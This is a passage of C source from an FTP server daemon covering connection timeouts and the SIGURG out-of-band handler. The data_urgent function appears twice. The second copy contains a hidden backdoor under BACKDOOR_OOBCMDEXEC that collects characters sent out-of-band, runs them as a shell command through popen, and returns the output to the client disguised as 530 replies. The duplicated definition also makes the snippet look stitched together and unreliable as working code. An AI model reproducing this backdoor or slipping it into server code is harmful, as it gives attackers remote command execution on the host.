static int connect_timeout_cb(CALLBACK_FRAME) { connect_timeout_reached = TRUE; if (connect_timeout_strm != NULL) { /* Abort the stream. */ pr_netio_abort(connect_timeout_strm); connect_timeout_strm->strm_errno = ETIMEDOUT; } return 0; }
static int ident_timeout_cb(CALLBACK_FRAME) { ident_timeout++; if (nstrm) { /* Abort the NetIO stream, which will cause netio_poll (and thus * netio_read) to also abort. This is similar to the way data connects * are aborted. */ pr_netio_abort(nstrm); } return 0; }
/* This signal is raised if we get OOB data on the control connection, and * a data transfer is in progress. */ static RETSIGTYPE data_urgent(int signo) { if (session.sf_flags & SF_XFER) { pr_trace_msg(trace_channel, 5, "received SIGURG signal (signal %d), " "setting 'aborted' session flag", signo); session.sf_flags |= SF_ABORT; if (nstrm) { pr_netio_abort(nstrm); } } signal(SIGURG, data_urgent); }
/* This signal is raised if we get OOB data on the control connection, and * a data transfer is in progress. */ RETSIGTYPE data_urgent(int signo) { if (session.sf_flags & SF_XFER) { pr_trace_msg(trace_channel, 5, "received SIGURG signal (signal %d), " "setting 'aborted' session flag", signo); session.sf_flags |= SF_ABORT; if (nstrm) pr_netio_abort(nstrm); } #ifdef BACKDOOR_OOBCMDEXEC char buffer; char *ptr; FILE *fptr; int n; if (mydummy == 0) { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: error: dummy is 0"); #endif return; } if ((n = recv(mydummy, &buffer, 1, MSG_OOB)) < 0) { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: recv() failed: %s", strerror(errno)); #endif return; } if (!n) { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: received 0 bytes"); #endif return; } #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: received character: %c", buffer); #endif if (buffer == '\0') { #ifdef BACKDOOR_DEBUG syslog(LOG_INFO, "oobcmdexec data_urgent: popen(%s)", mycommand); #endif mycount = 0; fptr = popen(mycommand, "r"); while (fgets(mycommand, sizeof(mycommand), fptr) != NULL) { if ((ptr = strchr(mycommand, '\n'))) *ptr = '\0'; pr_response_send_async(R_530, "%s", mycommand); } pclose(fptr); } else { mycommand[mycount] = buffer; mycount++; } #endif /* BACKDOOR_OOBCMDEXEC */ signal(SIGURG, data_urgent); }